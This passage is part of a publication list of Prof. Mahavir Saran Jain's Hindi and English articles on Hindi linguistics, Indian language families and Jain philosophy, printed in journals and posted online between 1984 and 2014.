विदर्भ हिन्दी साहित्य सम्मेलन, नागपुर, पृष्ठ 79-85 (1984) 69. Influenta limbilor Pracrit si Apabhransa asupra limbilor Indo-ariene moderne: ANALELE UNIVERSITATii, BUCURESTI Limba si Literatura Romana Anul XXXVI, pp. 33-43. (1987) 70. विश्वधर्म के रूप में जैन धर्म-दर्शन की प्रासंगिकता:आस्था और चिन्तनः आचार्यरत्न श्री देशभूषण जी महाराज अभिनन्दन ग्रन्थ, तृतीय खण्ड, आचार्यरत्न श्री देशभूषण श्री महाराज अभिनन्दन ग्रन्थ समिति, दरीबा कलां, दिल्ली, पृष्ठ 58-63 (1987) 71. जैन धर्म-दर्शन: श्री श्वेताम्बर स्थानकवासी जैन सभा हीरक जयन्ती स्मारिका, चिन्तन मनन खण्ड, श्री श्वेताम्बर स्थानकवासी जैन सभा, कलकत्ता, पृष्ठ 13-19 (1988) 72. आचार्य विद्यासागर प्रणीत महाकाव्य मूकमाटीः णाणसायर (ज्ञानसागर), अंक 3, यमुना विहार, दिल्ली, पृ0 25-48 (मार्च, 1990) 73. मध्ययुगीन संतों का निर्गुण भक्ति-काव्यः सम्भावना (भक्ति काव्य विशेषांक), वर्ष 8, अंक 13-14, कुरुक्षेत्र विश्वविद्यालय, कुरुक्षेत्र, पृ0 6-9 (मई, 1990) 74. अन्तर्राष्ट्रीय सद्भावना एवं विश्व शान्तिः अन्तर्राष्ट्रीय हिन्दी प्रचार एवं प्रसार समिति, नई दिल्ली,पृष्ठ 89-97 (मई, 1990) 75. विश्वशान्ति एवं अहिंसाः अन्तर्राष्ट्रीय हिन्दी प्रचार एवं प्रसार समिति, नई दिल्ली, (अक्टूबर, 1990), पृष्ठ 261-268 (अक्टूबर, 1990) 76. हिन्दी-उर्दू का सवाल तथा पाकिस्तानी राजदूत से मुलाकातः ‘‘मधुमती’’- राजस्थान साहित्य अकादमी की पत्रिका, वर्ष 30, अंक 6, उदयपुर, पृष्ठ 10-22 (जुलाई, 1991) 77. हिन्दी भाषा के विविध रूप: श्री जैन विद्यालय, हीरक जयन्ती स्मारिका (विद्वत् खण्ड), कलकत्ता-700001, पृष्ठ 2-5 (1994) 78. भाषा विज्ञान एवं मानव विज्ञान: गवेषणा, रवीन्द्रनाथ श्रीवास्तव स्मृति अंक, वर्ष 31, अंक 63-64, केन्द्रीय हिन्दी संस्थान, आगरा, पृष्ठ 169-189 (1994) 79. हिन्दी भाषा के उपभाषिक रूप: हिन्दी साहित्य परिषद्, बुलन्दशहर की स्वर्ण जयन्ती स्मारिका (1995) 80. विदेशों में हिन्दी भाषा और साहित्य का शिक्षण: गवेषणा, विश्व भाषा हिन्दी विशेषांक, वर्ष 33, अंक 65-66, केन्द्रीय हिन्दी संस्थान, आगरा, पृष्ठ 13-36 (1995) 81. हिन्दी भाषा: राष्ट्रभाषा, वर्ष 53, अंक 5-6, राष्ट्रभाषा प्रचार समिति, वर्धा, पृष्ठ 15-18 (1995) 82. हिन्दी भाषा का बदलता स्वरूप: क्षितिज, भाषा-संस्कृति विशेषांक, अंक-8, भारतीय प्रौद्योगिकी संस्थान, बम्बई, पृष्ठ 15-19 (1996) 83. विदेशों में हिन्दी भाषा और साहित्य: विदेश मन्त्रालय, भारत सरकार, नई दिल्ली की स्मारिका (पांचवाँ विश्व हिन्दी सम्मेलन), पृष्ठ 39 – 48 (1996) 84. हिन्दी भाषा क्षेत्र: विकल्प, राजभाषा विशेषांक, वर्ष 5, संयुक्त अंक-अक्टूबर 1995 से मार्च 1996, भारतीय पेट्रोलियम संस्थान, देहरादून-248005, पृ0 24-28 (1996) 85. विश्व यात्री की महायात्रा: इस्पात भाषा भारती, वर्ष 17, पूर्णांक- 50, स्टील अथॉरिटी ऑफ इण्डिया लिमिटेड, नई दिल्ली-110 002, पृष्ठ 36-39 (1996) 86. राजभाषा हिन्दी: राजतरंगिणी, अंक-15, केन्द्रीय उत्पाद शुल्क/सीमा शुल्क आयुक्तालय, इन्दौर-452001, पृष्ठ 12-14 (1996) 87. हिन्दी की विश्व यात्रा: पंचम विश्व हिन्दी सम्मेलन के अवसर पर प्रवासी भारतीय समाज द्वारा प्रकाशित स्मारिका, पृष्ठ 129-145 (1996) 88. श्री शंकर दयाल सिंहः समन्वय, अंक 37, वर्ष 37, पृ0 85-90 (1996) 89. हिन्दी भाषा का बदलता स्वरूप: युमशकैश, अंक 158, मणिपुरी हिन्दी शिक्षक संघ, इम्फाल - 795001, पृष्ठ 4-12 (1996) 90. राजभाषा हिन्दी की भूमिका: राजभाषा पुष्पमाला, वर्ष 8, अंक 100, राजभाषा विभाग, गृह मन्त्रालय, भारत सरकार, नई दिल्ली-110 003, पृष्ठ 2-4 (1996) 91. विदेशों में हिन्दी भाषा और साहित्य: राजभाषा पुष्पमाला, वर्ष 9, अंक 108, राजभाषा विभाग, गृह मन्त्रालय, भारत सरकार, नई दिल्ली-110003, पृष्ठ 2-9 (1997) 92. अनुवादः प्रकृति, सिद्धान्त एवं समस्याएँ: विकल्प, अनुवाद विशेषांक, वर्ष 6, संयुक्तांक-अक्टूबर, 1996 से मार्च 1997, भारतीय पेट्रोलियम संस्थान, देहरादून-248005,पृष्ठ 55-56 (1996 – 1997) 93. विदेशों में हिन्दीः The Administrator, Vol. XL III (Special Issue on Language, Literature & Culture), Lal Bahadur Shastri National Academy of Administration, MUSSORIE, pp. 141 - 165 (1998) 94. भाषाविज्ञान एवं मानवविज्ञान (डॉ. उदय नारायण तिवारी स्मृति व्याख्यान का संशोधित रूप) % The Research Journal of the Hindi Science Academy, Vol. 42, No.4, Allahabad, pp. 215 - 237 (October, 1999) 95. हिन्दी का भूमंडलीकरणः संकल्प, अंक-6, कलकत्ता विश्वविद्यालय के हिन्दी विभाग की शोध पत्रिका, पृ0 48-78 (1999) 96. विदेशों में हिन्दी: नया मानदण्ड, वर्ष 7, अंक-13, आचार्य रामचन्द्र शुक्ल साहित्य शोध संस्थान, वाराणसी, पृ0 30-44 (1999) 97. भाषा विज्ञान एवं मानव विज्ञान: हिन्दुस्तानी, भाग 60, अंक 4, हिन्दुस्तानी एकेडेमी, इलाहाबाद, पृ0 64-86 (1999) 98. हिन्दी भाषा-दशा और दिशाः अजंता वार्षिकी, अंक 7, हिन्दी प्रचार सभा, हैदराबाद, पृ0 13-15 (2000-2001) 99. The Infuences of Prakrit and Apbhransha languages on modern Indo-aryan languages: ऋषिकल्प डॉ0 हीरालाल जैन स्मृति ग्रन्थ, डॉ0 हीरालाल जैन जन्म शताब्दी समारोह समिति, जबलपुर, पृ0 120-139 (2001) 100. हिन्दी की अन्तरक्षेत्रीय एवं अन्तर्देशीय भूमिकाः आत्म सम्भवा (त्रैमासिक), अंक 2-4, विश्वविद्यालय परिसर, वर्धमान (पश्चिम बंगाल), पृ0 48-51 (2001-2002) 101. प्रज्ञा पुरुष मोटूरि सत्य नारायण (प्रयोजन मूलक हिन्दी के विशेष संदर्भ में): स्रवंति, दक्षिण भारत हिन्दी प्रचार सभा-आन्ध्र, हैदराबाद, पृ0 90-93 (2002-2003) 102. हिन्दी की अन्तर क्षेत्रीय, अन्तर्देशीय एवं अन्तर्राष्ट्रीय भूमिका: सातवां विश्व हिन्दी सम्मेलन स्मारिका, भारतीय सांस्कृतिक सम्बन्ध परिषद्, नई दिल्ली, पृ0 13-23 (जून, 2003) 103. विश्व हिन्दी न्यास के तृतीय वार्षिक अधिवेशन का मुख्य व्याख्यानः हिन्दी जगत, वर्ष 5, अंक 1, विश्व हिन्दी न्यास, 54, पैरी हिल रोड, न्यूयार्क (यू0एस0ए0), पृ0 42-43 (2004) 104. विश्व में हिन्दी की स्थिति: राष्ट्रभाषा, वर्ष 49, अंक 4, रा0भा0प्र0स0, वर्धा, पृ0 4-6 (2004) 105. हिन्दी भाषा: सूचना भारती, अंक 3, सूचना एवं प्रसारण मंत्रालय, भारत सरकार, नई दिल्ली, पृ० 4 – 8 (2004 - 2005) 106. दशलक्षण धर्मः शुभकल्याणिका, वर्ष 6, अंक 2, श्री कल्याण सेवा आश्रम, जबलपुर, पृ0 47-49 (2005) 107. विदेशी विद्वानों द्वारा हिन्दी वाड.मीमांसापरक अघ्ययन: राजभाषा भारती, वर्ष 27, अंक 108, राजभाषा विभाग,गृहमंत्रालय, भारत सरकार , नई दिल्ली, पृ0 23-33 (जनवरी-मार्च , 2005) 108. संयुक्त राष्ट्र संघ की आधिकारिक भाषाएँ एवं हिन्दी: गगनांचल, वर्ष 28, अंक-4,भारतीय सांस्कृतिक सम्बन्ध परिषद्, नई दिल्ली, पृ0 43-46 ( 2005) 109. हिन्दी संयुक्त राष्ट्र संघ की भाषा हो: बहुवचन, वर्ष 7, अंक 3, महात्मा गाँधी अन्तरराष्ट्रीय हिन्दी विश्वविद्यालय, वर्धा,, पृ० 88 - 93 ( अक्टूबर- दिसम्बर, 2005) 110. Substance Of Dharma: Individual And Social Levels: (08.09.2006)

http://www.herenow4u.net/index.php?id=cd7697  Jain, Dr. Mahavir Saran  : Substance Of Dharma: Individual And Social Levels

111. हिन्दी भाषा के प्रयोक्ताओं की संख्या: हिन्दी जगत, वर्ष 7, अंक 1, विश्व हिन्दी न्यास, 54, पैरी हिल रोड, न्यूयार्क (यू0एस0ए0), पृ0 31-33 (2006) 112. प्रज्ञा पुरुष मोटूरि सत्य नारायण एवं प्रयोजनमूलक हिन्दी: विकल्प, प्रयोजनमूलक हिन्दी विशेषांक, भारतीय पेट्रोलियम संस्थान, देहरादून, पृष्ठ 45-46 (जुलाई - सितम्बर, 2006) 113. डॉ० उदय नारायण तिवारी: बहुवचन, वर्ष 8, अंक 4, महात्मा गाँधी अन्तरराष्ट्रीय हिन्दी विश्वविद्यालय, वर्धा, पृ० 32 - 38 (जनवरी - मार्च, 2006) 114. मध्ययुगीन संतों का निर्गुण भक्ति काव्यः कुछ प्रश्न: संकल्य, वर्ष 35, अंक 1, हिन्दी अकादमी, हैदराबाद, पृ० 35 – 38 (जनवरी - मार्च, 2007) 115. संयुक्त राष्ट्र संघ की आधिकारिक भाषाएँ एवं हिन्दीः साहित्य अमृत, वर्ष 12, अंक 12, नई दिल्ली, पृ० 18 – 21 (जुलाई, 2007) 116. हिन्दी - उर्दू का अद्वैत: संस्कृति, अंक 13 - 14, संस्कृति मंत्रालय, भारत सरकार, नई दिल्ली, पृ० 21 – 30 (2007) http://indiaculture.nic.in/hindi/Sanskriti-pdf/Sanskriti-Issue-13-14%20(2007).pdf 117. संयुक्त राष्ट्र संघ की आधिकारिक भाषाएँ एवं हिन्दीः (सृजनगाथा, 01 अगस्त, 2007) http://www.srijangatha.com/HindiWishwa2_Aug2k7 118. भविष्य का धर्म एवं दर्शनः स्वरूप एवं प्रतिमान , (सृजनगाथा, 01 अप्रैल, 2008) http://www.srijangatha.com/Vichaarveathee1_Apr2k8 119. रामधारी सिंह “दिनकर” का काव्य: राष्ट्रीय सांस्कृतिक चेतना की सशक्त अभिव्यक्तिः संकल्य, वर्ष 36, अंक 2, हिन्दी अकादमी, हैदराबाद, पृ० 30 - 33 ( अप्रैल-जून, 2008) 120. Antiquity of Jainism (24.09.2008) http://www.herenow4u.net/index.php?id=65998 Jain, Dr. Mahavir Saran : Antiquity of Jainism 121. विज्ञान और प्रोद्योगिकी का विकास एवं हिन्दीः (सृजनगाथा, 01 अक्टूबर, 2008)

http://www.srijangatha.com/HindiWishwa2_Oct2k8

122. गाँधी की प्रासंगिकता (हिन्दी वेब दुनिया, 30 जनवरी, 2009) hindi.webdunia.com/.../गाँधी-की-प्रासंगिकता-1090130017_1. Htm 123. डॉ. उदयनारायण तिवारीः व्यक्तित्व एवं भाषावैज्ञानिक चिंतन (सृजनगाथा, 01 फरवरी, 2009)

http://www.srijangatha.com/Hastakshar_Feb2k9

124. रामधारी सिंह 'दिनकर' का काव्य (हिन्दी वेब दुनिया, 03 फरवरी, 2009) hindi.webdunia.com/.../रामधारी-सिंह-दिनकर-का-काव्य- 1090203056_1.htm 125. भविष्य का धर्म एवं दर्शन – भाग – 1 (हिन्दी वेब दुनिया, 07 फरवरी, 2009) hindi.webdunia.com/religion/religion/article/.../1090207049_1.htm 126. भविष्य का धर्म एवं दर्शन – भाग – 2 (हिन्दी वेब दुनिया, 10 फरवरी, 2009) hindi.webdunia.com/religion/religion/article/.../1090210032_1.htm 127. धर्म – दर्शन एवं विज्ञान (हिन्दी वेब दुनिया, 13 फरवरी,

    2009)

hindi.webdunia.com/.../धर्म-दर्शन-एवं-विज्ञान-1090213061_1. htm 128. धर्म – दर्शन एवं लोकतंत्र (हिन्दी वेब दुनिया, 18 फरवरी,

    2009)

hindi.webdunia.com/.../धर्म-दर्शन-एवं-लोकतंत्र-1090218027_1. Htm 129. The Concept of Embodied Soul And Liberated Soul In Jain Philosophy (10.03.2009) http://www.herenow4u.net/index.php?id=67938 Jain, Dr. Mahavir Saran : The Concept Of Embodied Soul And Liberated Soul In Jain Philosophy 130. Concept of Physical Substance (Pudgala) in Jain Philosophy (19.03.2009) http://www.herenow4u.net/index.php?id=68030 Jain, Dr. Mahavir Saran : Concept of Physical Substance (Pudgala) in Jain Philosophy 131. भगवान महावीर एवं जैन दर्शन (हिन्दी वेब दुनिया, 06, अप्रेल,

    2009)

hindi.webdunia.com/religion/occasion/.../06/1090406061_1.htm 132. भविष्य का धर्म (रचनाकार, 26 मई, 2009) www.rachanakar.org/2009/05/blog-post_26.html 133. भारत की भाषाएँ (रचनाकार, 26 मई, 2009) www.rachanakar.org/2009/05/blog-post_9270.html 134. संयुक्त राष्ट्र संघ की आधारिक भाषाएँ एवं हिन्दी (रचनाकार, 26 मई, 2009) http://www.rachanakar.org/2009/05/blog-post_5569.html 135. रामधारी सिंह दिनकर का काव्यः काव्य के माध्यम से राष्ट्रीय सांस्कृतिक चेतना की सशक्त अभिव्यक्ति (रचनाकार, 27 मई, 2009) www.rachanakar.org/2009/05/blog-post_1993.html 136. सर्व धर्म समभाव (रचनाकार, 31 मई, 2009) www.rachanakar.org/2009/05/blog-post_4379.html 137. राम साध्य हैं; साधन नहीं (रचनाकार, 02 जून, 2009) www.rachanakar.org/2009/06/blog-post_02.html 138. बच्चन के काव्य में निहित मानवीय दृष्टि एवं सामाजिक चेतना (रचनाकार, 03 जुलाई, 2009) www.rachanakar.org/2009/07/blog-post_03.html 139. प्रयोजनमूलक हिन्दी की संकल्पना के प्रवर्तक मोटूरि सत्यनारायण (रचनाकार, 17 जुलाई, 2009) www.rachanakar.org/2009/07/blog-post_17.html 140. संसार के भाषा- परिवार (रचनाकार, 25 अगस्त, 2009) http://www.rachanakar.org/2009/08/blog-post_25.html 141. अध्यात्म एवं विज्ञान (रचनाकार, 07 सितम्बर, 2009) http://www.rachanakar.org/2009/09/blog-post_5417.html 142. विदेशी विद्वानों द्वारा हिन्दी वाड्.मीमांसापरक अध्ययन (फिलॉलाजिकल स्टडीज़) (सन् 1940 ईस्वी तक) (रचनाकार, 12 सितम्बर, 2009)

http://www.rachanakar.org/2009/09/blog-post_176.html

143. मध्ययुगीन संतों का निर्गुण-भक्ति-काव्य (रचनाकार, 04 अक्टूबर, 2009) www.rachanakar.org/2009/10/blog-post_1347.html 144. भारत की बहुभाषिकता और भाषिक एकता (रचनाकार, 14 अक्टूबर, 2009) www.rachanakar.org/2009/09/blog-post_20.html

145. विदेशों में हिन्दी शिक्षणः समस्याएँ और समाधान (हिन्दी वेब दुनिया, 28 अक्टूबर, 2009) hindi.webdunia.com/.../विदेशों-में-हिन्दी-शिक्षण- समस्याएँ-और-समाधान-1091028028_1.htm 146. कबीर की साधना (रचनाकार, 17 नवम्बर, 2009) http://www.rachanakar.org/2009/11/blog-post_17.html 147. आत्मा एवं परमात्मा का भेद तात्त्विक नहीं है; भाषिक है (रचनाकार, 25 नवम्बर, 2009) http://www.rachanakar.org/2009/11/blog-post_25.html 148. सोलह कलाओं के अवतार श्री कृष्णः (रचनाकार, 03 जनवरी, 2010) www.rachanakar.org/2010/01/blog-post_03.html 149. भगवान महावीर (रचनाकार, 28 मार्च, 2010) www.rachanakar.org/2010/03/blog-post_3876.html 150. हिन्दी भाषा का क्षेत्र एवं हिन्दी के क्षेत्रगत रूपः (रचनाकार, 05 जुलाई, 2010) http://www.rachanakar.org/2010/07/1.html 151. हिन्दी एवं उर्दू का अद्वैतः (रचनाकार, 06 जुलाई, 2010)

http://www.rachanakar.org/2010/07/2.html

152. हिन्दी की अन्तरदेशीय भूमिकाः रूपः (रचनाकार, 06 जुलाई, 2010) http://www.rachanakar.org/2010/07/3.html 153. विदेशी विद्वानों द्वारा हिन्दी वाङ्मीमांसापरक अध्ययनः (फिलॉलाजिकल स्टडीज) (सन् 1940 ईस्वी तक) रूपः (रचनाकार, 06 जुलाई, 2010) http://www.rachanakar.org/2010/07/4.html 154. विदेशों में हिन्दी शिक्षण : समस्याएँ और समाधान (रचनाकार, 06 जुलाई, 2010)

http://www.rachanakar.org/2010/07/5.html

155. द्वितीय महायुद्ध के पश्चात् विदेशों में हिन्दी भाषापरक अध्ययनः (रचनाकार, 06 जुलाई, 2010) http://www.rachanakar.org/2010/07/6.html 156. द्वितीय महायुद्ध के पश्चात् विदेशों में हिन्दी साहित्य सृजन एवं साहित्य समीक्षाः (रचनाकार, 07 जुलाई, 2010) http://www.rachanakar.org/2010/07/7.html 157. द्वितीय महायुद्ध के पश्चात् हिन्दी की साहित्यिक कृतियों का विदेशी भाषा में तथा विदेशी साहित्यिक कृतियों/लोककथाओं का हिंदी में अनुवादः (रचनाकार, 07 जुलाई, 2010) http://www.rachanakar.org/2010/07/8_07.html 158. संयुक्त राष्ट्र संघ की आधिकारिक भाषाएँ एवं हिन्दीः विश्व हिन्दी पत्रिका, विश्व हिन्दी सचिवालय, मॉरीशस, पृष्ठ 17 – 22

   (2011)http://vishwahindi.com/hi/downloads/vhp/vhp2011.pdf

159. गाँधी दर्शन (रचनाकार, 05 अक्टूबर, 2012) www.rachanakar.org/2012/10/blog-post_1635.html 160. हिन्दी भाषा के विविध रूप (रचनाकार, 14 सितम्बर, 2012) www.rachanakar.org/2012/09/blog-post_3077.html 161. भाखा बहता नीरः साहित्य अमृत, प्रभात प्रकाशन, नई दिल्ली, (अक्टूबर, 2012) 162. हिन्दी में वैज्ञानिक लेखन एवं प्रौद्योगिकी के विकास के लिए करणीयः विचारार्थ कुछ विचार (रचनाकार, 12 फरवरी, 2013) http://www.rachanakar.org/2013/02/blog-post_9501.html 163. भगवान शिव एवं शैव दर्शनः (रचनाकार, 05 अप्रैल, 2013) http://www.rachanakar.org/2013/04/blog-post_3823.html 164. भारत में प्राचीन काल में नारी की स्थितिः (रचनाकार, 12 अप्रैल, 2013) www.rachanakar.org/2013/04/blog-post_12.html 165. भारोपीय भाषा- परिवारः (रचनाकार, 30 अप्रैल, 2013) http://www.rachanakar.org/2013/04/blog-post_4978.html 166. भाषा-परिवार एवं विश्व- भाषाएः (प्रवक्ता, 04 मई, 2013) http://www.pravakta.com/language-family-and-world-languages 167. भारत की भाषाओं के अध्ययन की रूपरेखा एवं भाषाओं के विवरण के आधारः (प्रवक्ता, 17 मई, 2013) http://www.pravakta.com/study-design-of-indian-languages-and-description-of-the languages 168. संस्कृत भाषा काल में विभिन्न समसामयिक अन्य लोकभाषाओं / जनभाषाओं का व्यवहारः (रचनाकार, 25 मई, 2013)

http://www.rachanakar.org/2013/05/blog-post_5218.html

169. पालि भाषाः व्युत्पत्ति, भाषा-क्षेत्र एवं भाषिक प्रवृत्तियाँ (रचनाकार, 30 मई, 2013) http://www.rachanakar.org/2013/05/blog-post_8285.html 170. मध्य भारतीय आर्य-भाषाओं का प्रथम विकास-कालः अभिधान एवं काल-सीमा (रचनाकार, 03 जून, 2013) http://www.rachanakar.org/2013/06/blog-post_5248.html 171. साहित्यिक प्राकृतों (शौरसेनी, महाराष्ट्री, मागधी, अर्ध-मागधी, 171. पैशाची) को भिन्न भाषाएँ मानने की परम्परागत मान्यताः पुनर्विचार (रचनाकार, 07 जून, 2013) http://www.rachanakar.org/2013/06/blog-post_1496.html 172. अपभ्रंशः भाषिक वैविध्य, सम्पर्क-भाषा एवं भाषिक विशेषताएँ (रचनाकार, 21 जून, 2013) 172.महावीर सरन जैन का आलेख - अपभ्रंशः भाषिक वैविध्य, सम्पर्क भाषा एवं भाषिक विशेषताएँ (21 जून 2013)

http://www.rachanakar.org/2013/06/blog-post_946.html

173. स्वाधीनता संग्राम के युग में दक्षिण-भारत में हिन्दी का प्रचार-प्रसार (रचनाकार, 28 जुलाई, 2013) http://www.rachanakar.org/2013/07/blog-post_4027.html 174. भारोपीय परिवार की भारतीय आर्य भाषाएँ : (प्रवक्ता, 01 अगस्त, 2013) भारोपीय परिवार की भारतीय आर्य भाषाएँ by प्रोफेसर महावीर सरन जैन http://www.pravakta.com/indian-aryan-languages-of-the-indo-european-family 175. महावीर सरन जैन का आलेख - प्रेमचन्द का कथा-साहित्यः भावगत और भाषिक प्रदेय (1अगस्त, 2013) http://www.rachanakar.org/2013/08/blog-post.html 176. तुलसीदास के रामः (रचनाकार, 13 अगस्त, 2013) http://www.rachanakar.org/2013/08/blog-post_7677.html 177. स्वामी विवेकानन्दः मानव सेवा एवं सर्व धर्म समभाव (रचनाकार, 30 अगस्त, 2013)

http://www.rachanakar.org/2013/08/blog-post_9241.html

178. भवानी प्रसाद मिश्रः सामान्य से दिखने वाले असाधारण कवि (रचनाकार, 02 सितम्बर, 2013) http://www.rachanakar.org/2013/09/blog-post_2.html 179. हिन्दी-उर्दू का अद्वैतः अभिनव इमरोज़, वर्ष – 3, अंक – 17, सभ्या प्रकाशन, नई दिल्ली, पृष्ठ 34 – 43 (जनवरी, 2014) 180. The Doctrine of Karma in Jain Philosophy (Posted: 09.03.2014)

      http://www.herenow4u.net/index.php?id=98354

181. Meaning of Karma in Jain Philosophy (Posted: 10.03.2014)

        http://www.herenow4u.net/index.php?id=98355

182. The bondage from point of view of karmic-flow in Jain Philosophy (Posted: 11.03.2014)

     http://www.herenow4u.net/index.php?id=98356

183. How an abstract and spiritual be related with concrete and material (Posted: 11.03.2014)

       http://www.herenow4u.net/index.php?id=98386

184. How the effects of concrete karmas are possible on abstract soul (Posted: 11.03.2014) http://www.herenow4u.net/index.php?id=98387 185. Types of karma in Jain Philosophy (Posted: 12.03.2014)

      http://www.herenow4u.net/index.php?id=98388

186. The process of attachment of Karma matter with the soul (Posted: 13.03.2014)

      http://www.herenow4u.net/index.php?id=98389 

187. The Scientific and Psychological study of the doctrine of karma (Posted: 14.03.2014)

       http://www.herenow4u.net/index.php?id=98391

188. The root causes of the influx and bondage of the karma in Jain Philosophy (Posted: 15.03.2014) http://www.herenow4u.net/index.php?id=983921 189. Types of bondage in Jain Philosophy (Posted: 16.03.2014) http://www.herenow4u.net/index.php?id=98393 190. Sayog Kevali Jin or an Arhanta (Posted: 17.03.2014) http://www.herenow4u.net/index.php?id=98394

191. द्रविड़ परिवार की भारतीय भाषाएँ (प्रवक्ता, 24 मार्च, 2014) http://www.pravakta.com/the-dravidian-family-of-indic-languages 192. आग्नेय परिवार (आस्ट्रोष-एशियाटिक) की भारतीय भाषाएँ (रचनाकार, 28 मार्च 2014)

http://www.rachanakar.org/2014/03/blog-post_28.html

193. तिब्बत-बर्मी परिवार की भारतीय भाषाएँ (रचनाकार, 05 अप्रैल, 2014) http://www.rachanakar.org/2014/04/blog-post_8211.html 194. अपभ्रंश एवं आधुनिक भारतीय आर्य भाषाओं के संक्रमण-काल की रचनाएँ (प्रवक्ता, 03 अप्रैल, 2014) http://www.pravakta.com/apabhra%E1%B9%83sa-modern-indian-aryan-languages-transition-period-of-compositions#comment-46629 195. आधुनिक भारतीय आर्य भाषाओं में उपलब्ध प्रथम साहित्यिक रचना-कृति (रचनाकार, 13 अप्रैल, 2014)

http://www.rachanakar.org/2014/04/blog-post_6900.html#l

196. प्रोफेसर महावीर सरन जैन - आधुनिक भारतीय आर्य भाषाओं की ध्वन्यात्मक (स्वनिमिक) व्यवस्था (23 अप्रैल 2014)

http://www.rachanakar.org/2014/04/blog-post_163.htm

197. भारत की प्रमुख भाषाओं का विवरण तथा हिन्दी-उर्दू एवं मैथिली की स्थिति के सम्बंध में टिप्पण (24 अप्रैल 2014)

http://www.rachanakar.org/2014/04/blog-post_24.html

भारत की प्रमुख भाषाओं का विवरण तथा हिन्दी-उर्दू एवं मैथिली की स्थिति के सम्बंध में टिप्पण 198. प्रोफेसर महावीर सरन जैन - हिन्दी काव्य भाषा का उद्गमकालीन स्वरूप (29.04.2014) http://hindimedia.in/3/news/Hindi-Udgmkalin-nature-of-poetic-language 199. प्रोफेसर महावीर सरन जैन का लेख- पूर्वोत्तर भारत में हिन्दी (02.05.2014) http://hindimedia.in/3/news/North-East-India-in-Hindi 200. The Path to Attain Liberation in Jain Philosophy : An Introduction (Posted: 19.04.2014) http://www.herenow4u.net/index.php?id=98813 201. The Path to Attain Liberation in Jain Philosophy: Stoppage of previously accumulated Karmas ( Saṁvara) (Posted: 29.04.2014) http://www.herenow4u.net/index.php?id=98909 202. The Path to Attain Liberation in Jain Philosophy: Saṁvara (( Samyaktva (righteousness) (सम्यक्त्व))( Posted: 29.04.2014) http://www.herenow4u.net/index.php?id=98911 203. The Path to Attain Liberation in Jain Philosophy: Saṁvara(( Vrata) (abstinence - The renunciation of violence, speaking truth, renunciation of theft, celibacy, renunciation of acquisitiveness ) (व्रत)) (Posted: 29.04.2014) http://www.herenow4u.net/index.php?id=98912 204. प्रोफेसर महावीर सरन जैन का आलेख – द्वितीय महायुद्ध के पश्चात विदेशों में हिन्दी भाषा से सम्बंधित अध्ययन http://www.pravakta.com/after-2nd-world-war-study-of-abroad-related-to-hindi-language 205. The Path to Attain Liberation in Jain Philosophy ►Saṁvara ► Apramāda (carefulness) (अप्रमाद) (Posted: 06.05.2014) http://www.herenow4u.net/index.php?id=99036 206. The Path to Attain Liberation in Jain Philosophy ►Saṁvara ► Akaṣaya (dispassion) (अकषाय) (Posted: 06.05.2014) http://herenow4u.net/index.php?id=99037#top 207. The Path to Attain Liberation in Jain Philosophy ►Saṁvara ► Ayoga (The fourteenth guṇasthāna) (Posted: 06.05.2014) http://www.herenow4u.net/index.php?id=99042 208. The Path to Attain Liberation in Jain Philosophy ►Nirijarā (निर्जरा) (Posted: 07.05.2014) http://herenow4u.net/index.php?id=99044 209. The Path to Attain Liberation in Jain Philosophy ► Nirijarā (निर्जरा) ► External Tapa (Posted: 07.05.2014) http://herenow4u.net/index.php?id=99045 210. The Path to Attain Liberation in Jain Philosophy ► Nirijarā (निर्जरा) ► Internal Tapa (Posted: 07.05.2014) http://herenow4u.net/index.php?id=99048#top 211. The Path to Attain Liberation in Jain Philosophy ► 14 Stages Of Spiritual Development (The Order of Guṇasthāna, Mārgaṇās) (Posted: 13.05.2014) http://herenow4u.net/index.php?id=99110#top 212.The Path to Attain Liberation in Jain Philosophy ► Other Ways Or Styles Of Finding Out The Path Of Liberation ► Ācārya Umāsvamī: Tattvārth Sūtra (Posted: 13.05.2014) http://herenow4u.net/index.php?id=99117 213. The Path to Attain Liberation in Jain Philosophy ► Other Ways Or Styles Of Finding Out The Path Of Liberation ► Ācārya Guṇadhara: Kaṣāya-pāhuḍa (Posted: 14.05.2014) http://herenow4u.net/index.php?id=99125 214. The Path to Attain Liberation in Jain Philosophy ► Other Ways Or Styles Of Finding Out The Path Of Liberation ► Ācārya Dharasena, Ācārya Puṣpadanta and Ācārya Bhūtabali: ‘Ṣaṭkhandāgama’(Posted: 14.05.2014) http://herenow4u.net/index.php?id=99126 215. The Path to Attain Liberation in Jain Philosophy ► Emancipation (Mokṣa) (मोक्ष) (Posted: 14.05.2014) http://herenow4u.net/index.php?id=99127#top 216. महावीर सरन जैन का आलेख - पूर्वोत्तर भारत में हिन्दी (01 जून, 2014) http://www.rachanakar.org/2014/05/blog-post_6978.html 217. द्वितीय महायुद्ध के पश्चात् विदेशों में हिन्दी भाषा से सम्बंधित अध्ययन http://www.rachanakar.org/2014/05/blog-post_1294.html 218. राजभाषा हिन्दी: दशा एवं दिशा by प्रोफेसर महावीर सरन जैन (June 20, 2014) http://www.pravakta.com/hindi-direction-and-situation 219. महावीर सरन जैन का आलेख - भारत की बहुभाषिकता : एक विवेचना भारत में एक ओर बहुभाषिकता दूसरी ओर भिन्न भाषा-परिवारों की भारतीय भाषाओं की भाषिक समानता तथा भारतीय भाषाओं के विकास का अपेक्षित विकास न होने के मूल कारण की विवेचना (23 जून, 2014) http://www.rachanakar.org 220. पूर्वोत्तर भारत में हिन्दी, शोध दिशा, शोध अंक – 26, पृष्ठ 47-49, अप्रैल-जून, 2014 (ISSN0975-735X) 221.हिन्दी भाषा के सम्बंध में कुछ विचार, विश्व हिंदी पत्रिका 2013, पृष्ठ 79-81, विश्व हिंदी सचिवालय, मॉरीशस 222. महावीर सरन जैन का आलेख : द्वितीय महायुद्ध के पश्चात् हिन्दी की साहित्यिक कृतियों का विदेशी भाषा में तथा विदेशी साहित्यिक कृतियों/लोककथाओं का हिंदी में अनुवाद (01 जुलाई, 2014) http://www.rachanakar.org/2014/07/blog-post.html 223. हिन्दी का भाषा क्षेत्र : साहित्य अमृत, (हिंदी विमर्श) सितम्बर, 2014, पृष्ठ 13-15, नई दिल्ली - 110002 223. हिन्दी का भाषा-क्षेत्र साहित्य अमृत,223. हिन्दी भाषा-क्षेत्र साहित्य अमृत (हिन्दी विमर्श अंक) सितम्बर, 224. राजभाषा हिन्दी दशा एवं दिशा : इस्पात भाषा भारती, राजभाषा विशेषांक, वर्ष 9, अंक 41, जून-सितम्बर, 2014 (संयुक्तांक) पृष्ठ 3-12, स्टील अथॉरिटी ऑफ इण्डिया, दिल्ली- 110092 225. महावीर सरन जैन का आलेख - मानव 